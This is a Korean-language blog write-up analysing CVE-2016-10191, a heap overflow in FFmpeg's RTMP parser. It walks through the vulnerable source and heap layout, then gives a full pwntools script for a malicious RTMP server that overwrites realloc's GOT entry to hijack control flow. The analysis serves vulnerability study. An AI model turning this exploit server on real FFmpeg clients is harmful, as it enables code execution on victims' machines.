ii4gsp

[1-day Analysis] CVE-2016-10191 ( Heap-Based Buffer Overflow in FFmpeg RTMP ) 본문

시스템 해킹/Software

[1-day Analysis] CVE-2016-10191 ( Heap-Based Buffer Overflow in FFmpeg RTMP )

ii4gsp 2021. 8. 16. 22:03
Disclosure or Patch Date: At the end of 2016
Product: FFmpeg
Affected Versions: before 2.8.10, 3.0.x before 3.0.5, 3.1.x before 3.1.6, and 3.2.x before 3.2.2
First Patched Version: FFmpeg 2.8.10, 3.0.5, 3.1.6, 3.2.2
Bug Class: Heap-based buffer overflow

FFmpeg는 오디오 및 비디오 데이터를 다양한 종류의 형태로 변환하는 소프트웨어 프로그램이다.

2016년 말에 CVE-2016-10190, CVE-2016-10192와 함께 발견된 힙 기반 오버플로우 취약점이다.

취약한 버전은 FFmpeg 2.8.10 이전, 3.0.5 이전, 3.1.6 이전, 3.2.2 이전 버전이다.

해당 취약점은 RTMP 패킷을 처리하는 과정에서 발생한다.

CVE-2016-10190과 다르게 좀 더 정교한 익스플로잇을 해야한다.

취약점을 이해하기 전에 RTMP에 대해 알아야한다.

 

 

 

 

RTMP는 Real-Time Messaging Protocol의 약자로 오디오 및 비디오를 실시간 스트리밍 하기 위해 Adobe에서 개발한 프로토콜이다.

 

 

 

 

RTMP 프로토콜은 핸드셰이크를 해야한다.

핸드셰이크 과정은 TCP 연결을 설정한 후 먼저 RTMP 연결이 설정되고 각 측면에서 3개의 청크를 교환하면 된다.

이때 각 청크의 최대 크기는 128바이트이다.

128바이트 보다 크면 여러 청크로 나눠서 보낸다.

 

 

 

 

$ wget https://github.com/FFmpeg/FFmpeg/archive/n3.2.1.tar.gz
$ tar xvfz n3.2.1.tar.gz
$ mkdir ~/ffmpeg_build
$ mkdir ~/ffmpeg_bin
$ cd FFmpeg-n3.2.1/
$ ./configure --prefix="$HOME/ffmpeg_build" --bindir="$HOME/ffmpeg_bin" \
  --disable-stripping
$ make -j 4
$ make install

위와 같이 취약한 버전을 빌드하면 된다.

해당 글은 Ubuntu 16.04 x64 환경에서 빌드하였다.

 

 

 

 

ii4gsp@ubuntu:~/ffmpeg_bin$ checksec ffmpeg
[*] '/home/ii4gsp/ffmpeg_bin/ffmpeg'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

PIE를 제외한 모든 보호기법이 적용되어있다.

 

 

 

 

int ff_rtmp_packet_read_internal(URLContext *h, RTMPPacket *p, int chunk_size,
                                 RTMPPacket **prev_pkt, int *nb_prev_pkt,
                                 uint8_t hdr)
{
    while (1) {
        int ret = rtmp_packet_read_one_chunk(h, p, chunk_size, prev_pkt, // here
                                             nb_prev_pkt, hdr);
        if (ret > 0 || ret != AVERROR(EAGAIN))
            return ret;

        if (ffurl_read(h, &hdr, 1) != 1)
            return AVERROR(EIO);
    }
}

libavformat/rtmppkt.c

취약점은 rtmppkt.c에 존재한다.

ff_rtmp_packet_read_internal() 함수는 헤더의 1바이트를 읽고 rtmp_packet_read_one_chunk() 함수를 호출한다.

 

 

 

 

static int rtmp_packet_read_one_chunk(URLContext *h, RTMPPacket *p,
                                      int chunk_size, RTMPPacket **prev_pkt_ptr,
                                      int *nb_prev_pkt, uint8_t hdr)
{

    uint8_t buf[16];
    int channel_id, timestamp, size;
    uint32_t ts_field; // non-extended timestamp or delta field
    uint32_t extra = 0;
    enum RTMPPacketType type;
    int written = 0;
    int ret, toread;
    RTMPPacket *prev_pkt;

    written++;
    channel_id = hdr & 0x3F;

    if (channel_id < 2) { //special case for channel number >= 64
        buf[1] = 0;
        if (ffurl_read_complete(h, buf, channel_id + 1) != channel_id + 1)
            return AVERROR(EIO);
        written += channel_id + 1;
        channel_id = AV_RL16(buf) + 64;
    }
    if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt,
                                         channel_id)) < 0)
        return ret;
    prev_pkt = *prev_pkt_ptr;
    size  = prev_pkt[channel_id].size;
    type  = prev_pkt[channel_id].type;
    extra = prev_pkt[channel_id].extra;
    ...

libavformat/rtmppkt.c

rtmp_packet_read_one_chunk() 함수는 프로토콜의 모든 구문을 분석하는 기능을한다.

취약점이 존재하는 함수이기도 하다.

RTMP 패킷에는 헤더에서 읽은 채널 ID가 포함된다.

해당 함수에서는 channel_id 필드가 존재하는데 RTMPPacket 구조체의 식별자로 사용된다.

그리고 ff_rtmp_check_alloc_array() 함수가 존재한다는 점을 기억해주자.

 

 

 

 

typedef struct RTMPPacket {
    int            channel_id; ///< RTMP channel ID (nothing to do with audio/video channels though)
    RTMPPacketType type;       ///< packet payload type
    uint32_t       timestamp;  ///< packet full timestamp
    uint32_t       ts_field;   ///< 24-bit timestamp or increment to the previous one, in milliseconds (latter only for media packets). Clipped to a maximum of 0xFFFFFF, indicating an extended timestamp field.
    uint32_t       extra;      ///< probably an additional channel ID used during streaming data
    uint8_t        *data;      ///< packet payload
    int            size;       ///< packet payload size
    int            offset;     ///< amount of data read so far
    int            read;       ///< amount read, including headers
} RTMPPacket;

RTMP 패킷에 해당하는 RTMPPacket 구조체는 위와 같이 정의되어 있다.

 

 

 

 

if (!prev_pkt[channel_id].read) {
        if ((ret = ff_rtmp_packet_create(p, channel_id, type, timestamp, // here
                                         size)) < 0)
            return ret;
        p->read = written;
        p->offset = 0;
        prev_pkt[channel_id].ts_field   = ts_field;
        prev_pkt[channel_id].timestamp  = timestamp;
    } else {
        // previous packet in this channel hasn't completed reading
        RTMPPacket *prev = &prev_pkt[channel_id];
        p->data          = prev->data;
        p->size          = prev->size;
        p->channel_id    = prev->channel_id;
        p->type          = prev->type;
        p->ts_field      = prev->ts_field;
        p->extra         = prev->extra;
        p->offset        = prev->offset;
        p->read          = prev->read + written;
        p->timestamp     = prev->timestamp;
        prev->data       = NULL;
    }
    p->extra = extra;
    ...

해당 채널이 존재하지 않으면 ff_rtmp_packet_create() 함수를 호출한다.

 

 

 

 

int ff_rtmp_packet_create(RTMPPacket *pkt, int channel_id, RTMPPacketType type,
                          int timestamp, int size)
{
    if (size) {
        pkt->data = av_realloc(NULL, size); // here
        if (!pkt->data)
            return AVERROR(ENOMEM);
    }
    pkt->size       = size;
    pkt->channel_id = channel_id;
    pkt->type       = type;
    pkt->timestamp  = timestamp;
    pkt->extra      = 0;
    pkt->ts_field   = 0;

    return 0;
}

ff_rtmp_packet_create() 함수에서는 av_realloc() 함수를 호출하여 size 만큼 힙을 할당하고 data 포인터에 할당된 힙 주소를 저장한다.

즉, 헤더에서 읽은 채널 ID가 이전에 할당되지 않았다면 size 만큼 힙이 할당된다.

 

 

 

 

if (!prev_pkt[channel_id].read) {
        if ((ret = ff_rtmp_packet_create(p, channel_id, type, timestamp,
                                         size)) < 0)
            return ret;
        p->read = written;
        p->offset = 0;
        prev_pkt[channel_id].ts_field   = ts_field;
        prev_pkt[channel_id].timestamp  = timestamp;
    } else {
        // previous packet in this channel hasn't completed reading
        RTMPPacket *prev = &prev_pkt[channel_id];
        p->data          = prev->data;
        p->size          = prev->size;
        p->channel_id    = prev->channel_id;
        p->type          = prev->type;
        p->ts_field      = prev->ts_field;
        p->extra         = prev->extra;
        p->offset        = prev->offset;
        p->read          = prev->read + written;
        p->timestamp     = prev->timestamp;
        prev->data       = NULL;
    }
    p->extra = extra;
    ...

해당 채널이 존재하면 else 문으로 분기되며 재할당 되지않고 기존의 구조와 버퍼에 데이터가 채워진다.

만약 채널 ID를 첫번째로 할당할 때는 문제가 되지않는다.

그러나 동일한 채널 ID를 두번째 할당할 때 size를 변경해서 보내면 첫번째로 할당된 size와 크기가 달라진다.

동일한 채널 ID를 두번째로 할당할 때 첫번째로 할당한 크기와 동일한지 체크를 하지않아 취약점이 발생한다.

 

 

 

 

id가 1이고 크기가 0xa0인 패킷을 보내면 위와 같다.

 

 

 

 

id1을 할당하고 그 후 id가 2이고 크기가 0xa0인 패킷을 보내면 위와 같은 힙 레이아웃을 가지게된다.

 

 

 

 

id가 1이고 기존의 크기 보다 더 큰 크기가 0x200인 패킷을 다시 보내게되면 위와 같이 힙 오버플로우가 발생하게된다.

RTMPPacket 구조체의 data 포인터 필드는 힙에 할당된 버퍼의 주소를 가리킨다.

RTMPPacket 구조체의 data 포인터 필드를 제어하면 임의의 주소에 쓰기가 가능하다.

 

 

 

 

int ff_rtmp_check_alloc_array(RTMPPacket **prev_pkt, int *nb_prev_pkt,
                              int channel)
{
    int nb_alloc;
    RTMPPacket *ptr;
    if (channel < *nb_prev_pkt)
        return 0;

    nb_alloc = channel + 16;
    // This can't use the av_reallocp family of functions, since we
    // would need to free each element in the array before the array
    // itself is freed.
    ptr = av_realloc_array(*prev_pkt, nb_alloc, sizeof(**prev_pkt));
    if (!ptr)
        return AVERROR(ENOMEM);
    memset(ptr + *nb_prev_pkt, 0, (nb_alloc - *nb_prev_pkt) * sizeof(*ptr));
    *prev_pkt = ptr;
    *nb_prev_pkt = nb_alloc;
    return 0;
}

ff_rtmp_check_alloc_array() 함수는 이전 channel_id와 할당 하려는 channel_id를 비교하여 이전에 할당된 channel_id가 더 크면 0을 반환하고 함수를 빠져나간다.

이전에 할당했던 channel_id를 4라고 가정해보면 channel_id와 16을 더하여 RTMPPacket[20]의 배열을 할당한다.

이전에 할당했던 channel_id 보다 할당 하려는 channel_id가 더 크면 할당하려는 channel_id에 16을 더하여 av_realloc_array() 함수의 인자로 넘긴다.

이 때 av_realloc_array() 함수에서는 realloc() 함수를 호출한다.

 

 

 

 

channel_id 4를 할당하면 16을 더 하여 RTMPPacket[20]의 배열이 할당된다.

그 후 channel_id 15를 할당하면 15 < 20이 되므로 ff_rtmp_check_alloc_array() 함수가 0을 반환하고 해당 함수를 빠져나간다.

 

 

 

 

우리는 ff_rtmp_check_alloc_array() 함수를 호출하여 realloc() 함수를 트리거 할 수 있다.

이전에 channel_id 4를 할당하였을 때 channel_id 20을 할당한다면 if문에서 20 < 20이 되어 false를 반환하고 할당 하려는 channel_id와 16을 더하고 realloc() 함수에 의해 RTMPPacket[36]의 배열이 할당된다.

channel_id가 작은 경우 힙 레이아웃 배열은 오버플로우 가능한 힙 청크의 위에 할당되어 있어 data 포인터를 조작하지 못한다.

적당히 큰 channel_id를 할당하였을 때 ff_rtmp_check_alloc_array() 함수를 통해 realloc() 함수를 호출하여 더  많은 공간을 재할당하고 버퍼 바로 아래에 할당되어 오버플로우가 가능해진다.

 

 

 

 

channel_id 4를 할당 후 channel_id 15를 할당하였을 때 힙 메모리이다.

 

 

 

 

channel_id 4 할당 후 channel_id 20을 할당했을 때의 힙 메모리이다.

 

 

 

 

from pwn import *

import socket
import struct
import time
import os

bind_ip = '0.0.0.0'
bind_port = 12345

e = ELF('/home/ii4gsp/ffmpeg_bin/ffmpeg')

realloc_got = e.got['realloc']
log.info('realloc_got : ' + hex(realloc_got))

def p24(data):
    packed_data = struct.pack(">I", data)[1:]
    assert(len(packed_data) == 3)

    return packed_data

def create_payload(channel_id, data, size):
    payload = ''
    payload += p8((1 << 6) + channel_id) # hdr
    payload += '\0\0\0' # ts_field
    payload += p24(size) # size
    payload += p8(0x00) # type
    payload += data # data

    return payload

def create_rtmp_packet(channel_id, addr, size=0x5151):
    data = ''
    data += p32(channel_id) # channel_id
    data += p32(0) # type
    data += p32(0) # timestamp
    data += p32(0) # ts_field
    data += p64(0) # extra

    data += p64(addr) # data

    data += p32(size) # size
    data += p32(0) # offset
    data += p64(0x180) # read

    return data

def handle_request(client_socket):
    # Handshake
    v = client_socket.recv(1)
    client_socket.send(p8(3))

    payload = ''
    payload += '\x00' * 4
    payload += '\x00' * 4
    payload += os.urandom(1536 - 8)
    client_socket.send(payload)
    client_socket.send(payload)

    client_socket.recv(1536)
    client_socket.recv(1536)

    payload = create_payload(4, 'A' * 0x80, 0xa0)
    client_socket.send(payload)

    payload = create_payload(20, 'B' * 0x80, 0xa0)
    client_socket.send(payload)

    data = ''
    data += 'C' * 0x20
    data += p64(0)
    data += p64(0x6a1)
    data += 'C' * (0x80 - len(data))
    
    payload = create_payload(4, data, 0x2000)
    client_socket.send(payload)

    data = ''
    data += 'D' * 0x10
    data += create_rtmp_packet(2, realloc_got)
    data += 'D' * (0x80 - len(data))

    payload = create_payload(4, data, 0x1800)
    client_socket.send(payload)

    data = ''
    data += 'E' * 0x80
    payload = create_payload(2, data, 0x1800)
    client_socket.send(payload)

    # Trigger
    payload = create_payload(63, 'F', 1)
    client_socket.send(payload)

    log.info('Triggerd.')

    sleep(3)
    client_socket.close()

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.bind((bind_ip, bind_port))
    s.listen(5)

    while True:
        print 'Waiting for new client...'
        client_socket, addr = s.accept()
        handle_request(client_socket)

if __name__ == '__main__':
    main()

RIP를 조작하기 위한 POC 코드이다.

 

 

 

 

def create_payload(channel_id, data, size):
    payload = ''
    payload += p8((1 << 6) + channel_id) # hdr
    payload += '\0\0\0' # ts_field
    payload += p24(size) # size
    payload += p8(0x00) # type
    payload += data # data

    return payload

create_payload() 함수는 데이터를 RTMP 프로토콜 형태로 만들어 준다.

 

 

 

 

def create_rtmp_packet(channel_id, addr, size=0x5151):
    data = ''
    data += p32(channel_id) # channel_id
    data += p32(0) # type
    data += p32(0) # timestamp
    data += p32(0) # ts_field
    data += p64(0) # extra

    data += p64(addr) # data

    data += p32(size) # size
    data += p32(0) # offset
    data += p64(0x180) # read

    return data

create_rtmp_packet() 함수는 힙에 fake rtmp 구조체를 만드는데 사용된다.

 

 

 

 

def handle_request(client_socket):
    # Handshake
    v = client_socket.recv(1)
    client_socket.send(p8(3))

    payload = ''
    payload += '\x00' * 4
    payload += '\x00' * 4
    payload += os.urandom(1536 - 8)
    client_socket.send(payload)
    client_socket.send(payload)

    client_socket.recv(1536)
    client_socket.recv(1536)

RTMP 프로토콜 특성상 핸드셰이크를 해야하는데 핸드셰이크는 위와 같이 처리한다.

 

 

 

 

def handle_request(client_socket):
	...
    payload = create_payload(4, 'A' * 0x80, 0xa0)
    client_socket.send(payload)

    payload = create_payload(20, 'B' * 0x80, 0xa0)
    client_socket.send(payload)

    data = ''
    data += 'C' * 0x20
    data += p64(0)
    data += p64(0x6a1)
    data += 'C' * (0x80 - len(data))
    
    payload = create_payload(4, data, 0x2000)
    client_socket.send(payload)

    data = ''
    data += 'D' * 0x10
    data += create_rtmp_packet(2, realloc_got)
    data += 'D' * (0x80 - len(data))

    payload = create_payload(4, data, 0x1800)
    client_socket.send(payload)

    data = ''
    data += 'E' * 0x80
    payload = create_payload(2, data, 0x1800)
    client_socket.send(payload)

    # Trigger
    payload = create_payload(63, 'F', 1)
    client_socket.send(payload)

    log.info('Triggerd.')

    sleep(3)
    client_socket.close()

핸드셰이크 이후 channel_id 4, 데이터, 사이즈를 보낸다.

그 후 channel_id 20을 보내 ff_rtmp_check_alloc_array() 함수를 호출하여 재할당을 트리거한다.

다시 channel_id 4로 사이즈를 0x2000으로 수정 후 데이터를 보내면 오버플로우가 일어난다.

create_rtmp_packet() 함수를 호출하여 channel_id 2와 data 포인터를 realloc() 함수의 got로 fake rtmp 구조를 만들고 데이터를 보내면 힙에 fake rtmp 구조가 할당된다.

그 후 데이터 'E'를 channel_id 2에 쓰면 realloc() 함수의 got가 조작된다.

조작된 realloc() 함수의 got를 트리거 하기 위해 channel_id를 63으로 전달하여 ff_rtmp_check_alloc_array() 함수가 호출된다.

ff_rtmp_check_alloc_array() 함수에서는 realloc() 함수를 호출하기 때문에 RIP를 제어할 수 있다.

 

 

 

 

 fake rtmp를 힙에 배치했을때 메모리이다.

data 포인터가 realloc() 함수의 got 주소인 0x1646990을 가리키고 있다.

 

 

 

 

realloc() 함수의 got에 데이터를 쓰기 전 got는 realloc() 함수의 실제 주소 0x00007ffff517e710를 가리키고 있다.

 

 

 

 

realloc() 함수의 got에 데이터를 덮어쓰면 0x4545454545454545를 가리키게 된다.

 

 

 

 

channel_id 63을 보내면 ff_rtmp_check_alloc_array() 함수에서 av_realloc_array() 함수를 호출하여 realloc() 함수를 트리거 한다.

 

 

 

 

realloc() 함수를 호출할때 got가 임의의 조작된 주소를 호출하여 RIP를 제어할 수 있게된다.

 

 

 

 

 

Comments